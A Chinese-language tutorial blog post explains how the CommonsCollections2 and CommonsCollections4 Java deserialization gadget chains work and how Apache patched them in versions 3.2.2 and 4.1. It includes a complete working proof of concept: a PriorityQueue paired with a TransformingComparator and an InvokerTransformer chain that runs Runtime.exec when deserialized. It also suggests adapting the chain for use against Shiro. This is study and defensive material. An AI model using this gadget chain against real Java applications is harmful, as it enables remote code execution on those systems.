1. 程式人生 > 其它 >反序列化Gadget學習篇七 CommonCollections2/4與漏洞修復

反序列化Gadget學習篇七 CommonCollections2/4與漏洞修復

背景:

Apache Commons Collections是一個著名的輔助開發庫,包含了一些Java中沒有的資料結構和和輔助方法,不過隨著Java 9以後的版本中原生庫功能的豐富,以及反序列化漏洞的影響,它也在逐漸被升級或替代。
在2015年底commons-collections反序列化利用鏈被提出時,Apache Commons Collections有以下兩個分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都變了。前者是Commons Collections老的版本包,當時版本號是3.2.1;後者是官方在2013年推出的4版本,當時版本號是4.0。那麼為什麼會分成兩個不同的分支呢?
官方認為舊的commons-collections有一些架構和API設計上的問題,但修復這些問題,會產生大量不能向前相容的改動。所以,commons-collections4不再認為是一個用來替換commons-collections的新版本,而是一個新的包,兩者的名稱空間不衝突,因此可以共存在同一個專案中。
依賴的區別:

<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-
collections -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-
collections4 -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

3.2.1中存在反序列化利用鏈在4.0版本仍然可以利用,只需要進行一點改動:
LazyMap.decorate改為LazyMap.lazyMap即可

CommonCollections4版本的新鏈

commons-collections這個包之所有能攢出那麼多利用鏈來,除了因為其使用量大,技術上原因是其中包含了一些可以執行任意方法的Transformer。所以,在commons-collections中找Gadget的過程,實際上可以簡化為,找一條從Serializable#readObject()方法到Transformer#transform()方法的呼叫鏈。

4版本有yso裡有兩個新鏈,CommonCollections2和CommonCollections4;

CommonCollection2

關鍵類:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是一個有自己readObject()方法的類:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

org.apache.commons.collections4.comparators.TransformingComparator裡呼叫了transform()方法

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

連線起來的呼叫順序:
PriorityQueue#readObject()中呼叫了heapify()方 法,heapify()中呼叫了 siftDown()siftDown()中呼叫了siftDownUsingComparator()siftDownUsingComparator()中呼叫的comparator.compare(),於是就連線到上面的TransformingComparator了。流程比較簡單。

關於PriorityQueue

  • java.util.PriorityQueue 是一個優先佇列(Queue),基於二叉堆實現,佇列中每一個元素有自己的優先順序,節點之間按照優先順序大小排序成一棵樹
  • 反序列化時為什麼需要呼叫 heapify() 方法?為了反序列化後,需要恢復(換言之,保證)這個結構的順序
  • 排序是靠將大的元素下移實現的。siftDown()是將節點下移的函式, 而comparator.compare()用來比較兩個元素大小
  • TransformingComparator實現了java.util.Comparator介面,這個介面用於定義兩個物件如何進行比較。siftDownUsingComparator()中就使用這個介面的compare()方法比較樹的節點。

構造Gadgets

  1. 準備Transform陣列
    Transformer transformer[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
    
  2. 準備Comparator
    Transformer transformerChain = new ChainedTransformer(faketanformer);
    Comparator comparator = new TransformingComparator(transformerChain);
    
  3. 初始化PriorityQueue,transform是在compare觸發,至少有兩個元素才會觸發比較
    PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
    priorityQueue.add(1);
    priorityQueue.add(2);
    

完整程式碼:

package changez.sec.CC2;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;


public class CommonCollections2 {


    public static void main(String[] args) throws Exception{
        Transformer transformer[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer faketanformer[] = new Transformer[]{
                new ConstantTransformer(1)
        };

        Transformer transformerChain = new ChainedTransformer(faketanformer);

        Comparator comparator = new TransformingComparator(transformerChain);

        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformer);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(priorityQueue);
        oos.close();

        System.out.println(bos);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        Object o = ois.readObject();
    }
}

有了前面的經驗,我們可以改造這個poc,比如使用TemplatesImpl,去掉陣列的限制,讓其在shiro中可用。

CommonCollection4

ysoserial中CommonCollection4實際上是上面CC2與前面說過的CC3的一個結合:

前一段和CC2一樣,通過PriorityQueue的compare方法觸發transform,transform部分和CC3相同,執行TrAXFilter的構造方法,最終載入構造好的惡意TemplatesImpl。

修復

Apache Commons Collections官方在2015年底得知序列化相關的問題後,就在兩個分支上同時釋出了新的版本,4.1和3.2.2。
在3.2.2上,新版本增加了一個方法FunctorUtils#checkUnsafeSerialization用來檢測徐倆號是否安全。
這個檢查在常⻅的危險Transformer類(InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer 等)的 readObject 裡進行呼叫,所以,當我們反序列化包含這些物件時就會丟擲一個異常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

在4.1裡,這幾個危險Transformer類不再實現 Serializable 介面,也就是說,這幾個徹底無法序列化和反序列化了。